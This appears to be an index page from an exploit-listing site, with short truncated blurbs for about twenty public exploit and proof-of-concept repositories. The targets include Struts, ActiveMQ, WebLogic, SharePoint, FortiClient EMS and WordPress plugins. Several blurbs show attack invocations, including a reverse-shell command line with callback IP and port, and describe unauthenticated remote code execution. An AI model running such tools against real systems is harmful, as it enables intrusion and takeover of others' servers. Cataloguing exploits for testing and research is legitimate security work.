S2-057-CVE-2018-11776

S2-057-CVE-2018-11776 Un exploit simple para Apache Struts RCE S2-057 CVE-2018-11776 IMPORTANTE: Se proporciona solo con fines educativos o informativos. Desplegar entorno de prueba root@kitploit: git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d Uso...

FOXCMS-CVE-2025-29306-POC

FOXCMS Parameter Injection RCE – CVE-2025-29306 This repository contains a Python-based PoC for a Remote Code Execution RCE vulnerability affecting FOXCMS v1.2, a Chinese open-source content management system. CVE-ID: CVE-2025-29306 Affects: FOXCMS v1.2 Type: Service Parameter Injection → Code...

CVE-2017-12636

CVE-2017-12636 Usage: python3 exp.py target version1.6|2.1 reverseip reverseport root@kitploit: / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / /...

s2-048

s2-048 Exp for s2-048, CVE-2017-9791. root@kitploit: / \ \ / / | | \ / / | | / \ / / | | | \ \ / /| | | | | | | / /| | / / | | | | \ V / | ||/ /| || | | / /, |/ / , | | | / || ||/||// //// //|| poc: root@kitploit:...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ Classic RCE via Jolokia API TL;DR A remote code execution vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary code by invoking the addNetworkConnectorString MBean operation through the Jolokia API /api/jolokia/. The attacker embed...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP Deserialization Test Environment Weblogic10.3.6+jdk1.6 Packaged jar file Extraction code: a6ob Exploit Download the jar package, then use marshalsec to start a malicious RMI service, compile a local exp.java root@kitploit: package payload; import java.io.IOException;...

CVE-2026-34038

CVE-2026-34038: Authenticated Remote Command Injection in Coolify This repository contains documentation and analysis for CVE-2026-34038 , a critical command injection vulnerability in Coolify. Summary An authenticated remote command injection vulnerability CWE-78 in Coolify allows users with...

React2Shell-Exploit-CVE-2025-55182

💀 React2Shell Exploit — CVE-2025-55182 root@kitploit: ██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔══██╗██╔══╝...

CVE-2025-48384

CVE-2025-48384 PoC Notes This repository was created for security education purposes. Please do not misuse it. This vulnerability requires including \r in directory names, so Linux/Unix systems are affected. The following Git versions are affected: v2.43.x series - less than v2.43.7 v2.44.x serie...

CVE-2019-5544_CVE-2020-3992

Scanner for SLP services CVE-2019-5544 CVE-2020-3992 Python script that implements SRVLOC/SLP protocol to scan for enabled OpenSLP services. You may find it handy while searching for systems impacted by CVE-2019-5544, CVE-2020-3992 or CVE-2021-21974 ... More info on the VMware vulnerability you m...

CVE-2023-422-Chamilo-LMS-RCE

Prerequisites root@kitploit: pip install requests Information The python script uses the vulnerability CVE-2023-422 to upload a file into the server and uses that file to send a reverse shell to the netcat listener and all this can be done without being authenticated. However, you will need to...

CVE-2023-27163-AND-Mailtrail-v0.53

Automatic Exploit Summary The following exploit abuses Requests Baskets v1.2.1 SSRF vulnerability to forward the internal application running at 127.0.0.1:80 to the external application at /pwned. Once the Mailtrail v0.53 application has been forwarded it will execute a reverse shell command...

ToolShell

Exploit for SharePoint ToolShell. Blog: https://blog.viettelcybersecurity.com/sharepoint-toolshell/ How to use: python exploit.py -u -c Eg: python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

CVE-2026-34159

CVE-2026-34159 Exploit RCE de 0 clics para CVE-2026-34159 en el servidor RPC Lama.cpp versión b8487 exploit fue desarrollado por Hassan Ali @Casp3r0x0 puedes encontrar el artículo completo en https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp...

CVE-2026-35616

CVE-2026-35616 - FortiClient EMS Pre-Authentication API Bypass to RCE TL;DR A critical authentication bypass in Fortinet FortiClient EMS 7.4.5 and 7.4.6 allows a completely unauthenticated, remote attacker to bypass API authentication by spoofing a single HTTP header X-SSL-CLIENT-VERIFY. The flaw...

CVE-2019-17564

CVE-2019-17564 CVE-2019-17564 : Apache Dubbo Deserialization Remote Code Execution...

CVE-2024-29943

CVE-2024-29943 A Pwn2Own SpiderMonkey JIT Bug: From Integer Range Inconsistency to Bound Check Elimination then RCE. This repository contains PoC, Exploit and Analysis Slides for CVE-2024-29943. Demo Demo.mp4 Slides Slides.pdf Reproduce Information Github Git Commit:...

Rocket-Chat-3.12.1-PoC-CVE-2021-22911-

Rocket-Chat-3.12.1-PoC-CVE-2021-22911- 1. Go login page 2. Register new account, set password as P@$$w0rd!1234 3. Run script -u = Low priv user email No 2fa -a = Administrator email -t = URL Eg: http://rocketchat.local python3 rocketchat.py -u [email protected] -a [email protected] -t...

sunlogin_rce

Foreword Nothing much to say, I'll just put the tool and the vulnerable version here. It's great for local testing, but do not use it for illegal tests. Tested Sunflower client vulnerable version: 11.0.0.33162 The vulnerable client is provided in the source code. Port scanning uses:...

CVE-2023-6553

CVE-2023-6553 Desarrollo de exploit para CVE-2023-6553 en el plugin Backup en Wordpress Esto es una CVE crítica con una puntuación CVSS de 9.8 La vulnerabilidad permite al atacante enviar comandos al servidor que ejecuta la versión vulnerable del plugin Versión vulnerable Backup = 1.3.7...